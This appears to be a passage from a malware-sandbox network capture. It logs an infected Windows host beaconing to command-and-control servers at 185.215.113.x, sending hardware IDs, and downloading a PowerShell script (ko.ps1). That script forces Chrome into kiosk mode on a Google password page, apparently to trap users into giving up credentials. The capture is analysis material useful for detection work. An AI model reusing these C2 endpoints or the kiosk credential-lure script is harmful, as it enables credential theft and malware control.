Sep 30, 2024 09:51:12.421083927 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 30, 2024 09:51:12.421096087 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 30, 2024 09:51:12.421108007 CEST	272	IN	Data Raw: ff 62 f5 4a b9 04 6e 5f 34 30 fa 13 1c ad 86 d4 d0 37 71 47 26 cb 64 8c 49 a2 44 bd 30 32 b9 4a cd 22 32 40 f5 9f 68 4b 40 4c e7 3e 85 4e 6f bc 36 34 a9 3c c2 91 2c 53 fb 17 71 57 fb 17 71 5b fb 17 71 5f fb 17 71 63 fb 17 71 67 fb 17 71 6b fb 17 Data Ascii: bJn_407qG&dID02J"2@hK@L>No64<,SqWq[q_qcqgqkqoqs_pE*0\|pDA,6+pAW5pva`@h #c@A6UO>54ylDw1T;X!AK"xfs+^\WV06<$O0)@Jp'~9@DEMe
Sep 30, 2024 09:51:12.421299934 CEST	1236	IN	Data Raw: 36 64 a5 27 45 19 4b 53 36 f5 ef 32 15 0c 35 1f ff 00 58 0c 0d ee a3 78 24 f4 f6 1d 79 90 dc ac 7a 18 b4 f7 f1 5f 7c 25 62 70 b0 82 5c 44 5a 12 13 f4 41 8c dc 09 40 5a 06 d4 85 7b 75 eb a2 8c 47 e7 0b f0 26 54 b3 6f 39 1c c0 08 43 40 20 8a 96 eb Data Ascii: 6d'EKS625Xx$yz_\|%bp\DZA@Z{uG&To9C@ /Ja6BDoL0FHeN(*7AmIVHwOV%+=.h#_=g27%iGl0}~(@IJ+W621B:h
Sep 30, 2024 09:51:12.421348095 CEST	1236	IN	Data Raw: a7 ef 24 8c 0b 99 ea 7c a2 74 c9 0c dc 3d 69 20 22 52 3e 11 3d 01 70 21 d2 2c e2 26 35 fc 60 ff 26 a0 0b 50 48 d0 e7 46 f6 a7 8d 0b 1d c8 81 4d 04 e3 a5 f7 2d e6 f9 79 1e 1d a9 e2 1f 26 64 1f bc 62 90 4c e8 99 52 df 62 e1 7b bb d6 83 66 0c 74 00 Data Ascii: $\|t=i "R>=p!,&5`&PHFM-y&dbLRb{ft@!C3L>=i+^mo's>9-3Ro?lDh"3#F/Bhe7PU*@I+H/eG1.,2<6CPR$"gu.c;Y9x($<3
Sep 30, 2024 09:51:12.421360016 CEST	1236	IN	Data Raw: 03 e4 46 5a ae a4 ff a1 0d 26 f8 1c 0c f0 44 83 ba c2 30 9f 22 96 30 b1 0d 01 64 0c a1 a5 00 9c 3e 44 78 14 04 4c a8 8f d9 cc b8 ca 74 81 39 87 fc 5a ae 4a 40 12 61 93 78 f9 c4 1d 56 19 a8 53 bc 90 c1 14 b0 e8 69 89 4d c4 a4 85 bc f9 30 cf 7c 10 Data Ascii: FZ&D0"0d>DxLt9ZJ@axVSiM0\|V1xG? $<p#B&h@B/@;zIN"9\|kR?R0dgJ-1`.E;=ho996$r0x7\26W$309
Sep 30, 2024 09:51:12.421416044 CEST	672	IN	Data Raw: 7c 20 64 43 16 b6 b9 14 bc 06 14 24 44 f9 62 57 17 9d b7 6f c1 60 e6 8a 0d 70 a8 9f d8 a8 46 91 36 60 41 83 05 6b eb 1b ba 34 70 8b 0d 7c a4 42 66 f6 5c a1 26 19 c8 7f 0d 98 42 54 2c 90 c1 81 36 a8 41 d3 05 20 ee 5f 4a 12 72 e3 78 f9 1c 1e 1b 18 Data Ascii: \| dC$DbWo`pF6`Ak4p\|Bf\&BT,6A _Jrxz02i0X4dC-<xBy\X!Dd3d9qx9&K;XEZ;pBS\]G&9k889'[K<;Ndb#oY4v
Sep 30, 2024 09:51:12.426598072 CEST	1236	IN	Data Raw: f8 8d 53 60 d4 e8 39 f3 38 c1 92 4f c0 c8 42 0b 33 55 38 84 bc 2c 39 f7 a7 7d 34 1b 0d 01 50 0c a3 a9 34 e1 be 30 60 14 44 64 67 91 1b b0 06 fb 44 40 39 67 78 27 9d 1f 0c 89 04 3b 18 ff 39 de 7c b4 c5 5f 8c 02 c8 0c 3f fc d8 7f d1 a8 01 0c bc 68 Data Ascii: S`98OB3U8,9}4P40`DdgD@9gx';9\|_?hR0\|q=Pa;B1hn`/;pnkNT(.@-h4L]qn}3jLx&B<S?S&1xa?`B50@n~WauQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:16.284755945 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 31 35 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000115002&unit=246122658369
Sep 30, 2024 09:51:17.015229940 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	185.215.113.37	80	1532	C:\Users\user\1000115002\6b11689b40.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:16.965960026 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 09:51:17.665607929 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 09:51:17.696890116 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="hwid"5035802927722583580058------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="build"doma------JKJDAEBFCBKECBGDBFCF--
Sep 30, 2024 09:51:17.923116922 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49713	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:19.179090023 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 31 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000117031&unit=246122658369
Sep 30, 2024 09:51:19.891370058 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49715	185.215.113.103	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:19.901500940 CEST	52	OUT	GET /test/ko.ps1 HTTP/1.1 Host: 185.215.113.103
Sep 30, 2024 09:51:20.620089054 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun, 29 Sep 2024 16:26:58 GMT ETag: "48e-623448ea21880" Accept-Ranges: bytes Content-Length: 1166 Data Raw: 24 63 68 72 6f 6d 65 50 61 74 68 58 38 36 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 22 0d 0a 24 63 68 72 6f 6d 65 50 61 74 68 58 36 34 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 22 0d 0a 0d 0a 24 63 68 72 6f 6d 65 44 65 66 61 75 6c 74 50 72 6f 66 69 6c 65 50 61 74 68 20 3d 20 22 24 65 6e 76 3a 55 53 45 52 50 52 4f 46 49 4c 45 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 22 0d 0a 24 63 68 72 6f 6d 65 50 72 6f 66 69 6c 65 50 61 74 68 20 3d 20 22 24 65 6e 76 3a 55 53 45 52 50 52 4f 46 49 4c 45 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 22 0d 0a 0d 0a 24 66 69 72 73 74 55 [TRUNCATED] Data Ascii: $chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"$chromeDefaultProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default"$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"function Start-Browser { param ( [string[]]$paths, [string]$firstUrl, [string]$chromeDefaultProfilePath, [string]$chromeProfilePath ) if (Test-Path $chromeDefaultProfilePath) { $profileArg = "--user-data-dir=$chromeProfilePath" } else { $profileArg = "--user-data-dir=$chromeProfilePath" } foreach ($path in $paths) { if (Test-Path $path) { Start-Process -FilePath $path -ArgumentList "$firstUrl --kiosk $profileArg" return } }}Start-Browse [TRUNCATED]
Sep 30, 2024 09:51:20.620099068 CEST	135	IN	Data Raw: 61 74 68 58 36 34 2c 20 24 63 68 72 6f 6d 65 50 61 74 68 58 38 36 29 20 2d 66 69 72 73 74 55 72 6c 20 24 66 69 72 73 74 55 72 6c 20 2d 63 68 72 6f 6d 65 44 65 66 61 75 6c 74 50 72 6f 66 69 6c 65 50 61 74 68 20 24 63 68 72 6f 6d 65 44 65 66 61 75 Data Ascii: athX64, $chromePathX86) -firstUrl $firstUrl -chromeDefaultProfilePath $chromeDefaultProfilePath -chromeProfilePath $chromeProfilePath

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49719	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:22.422593117 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 34 30 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000140041&unit=246122658369
Sep 30, 2024 09:51:23.127078056 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49720	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:24.815999031 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:25.515729904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49721	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:27.155527115 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:27.808284044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49729	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:29.595438957 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:30.296355009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49735	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:31.817179918 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:32.526806116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49739	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:34.296946049 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:35.013103962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49742	185.215.113.37	80	7768	C:\Users\user\1000115002\6b11689b40.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:34.556456089 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 09:51:35.255268097 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 09:51:35.259799004 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="hwid"5035802927722583580058------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="build"doma------FCGIJKJJKEBGHJKFIDGC--
Sep 30, 2024 09:51:35.490015984 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49747	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:36.523284912 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:37.219851971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49756	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:38.835011005 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:39.547688961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49765	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:41.316014051 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:42.013514042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49770	185.215.113.37	80	4320	C:\Users\user\1000115002\6b11689b40.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:41.830800056 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 09:51:42.552561045 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 09:51:42.556735992 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="hwid"5035802927722583580058------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="build"doma------BGCBGCAFIIECBFIDHIJK--
Sep 30, 2024 09:51:42.783816099 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49774	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
